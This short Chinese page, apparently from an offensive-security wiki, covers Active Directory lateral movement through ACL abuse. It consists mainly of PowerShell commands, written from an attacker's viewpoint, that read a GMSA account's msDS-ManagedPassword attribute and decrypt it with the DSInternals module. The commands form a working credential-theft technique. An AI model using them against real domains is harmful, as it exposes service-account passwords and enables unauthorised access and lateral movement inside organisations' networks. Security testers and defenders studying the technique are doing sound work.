> For the complete documentation index, see [llms.txt](https://www.heresecurity.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.heresecurity.wiki/heng-xiang-yi-dong/activedirectory-de-acl-he-ace/du-qu-gmsa-mi-ma.md).

# 读取GMSA密码

```
攻击者可以读取此 ACE 应用到的帐户的 GMSA 密码。这可以通过 Active Directory 和 DSInternals PowerShell 模块来实现。

$gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'

解密
ConvertFrom-ADManagedPasswordBlob $mp
```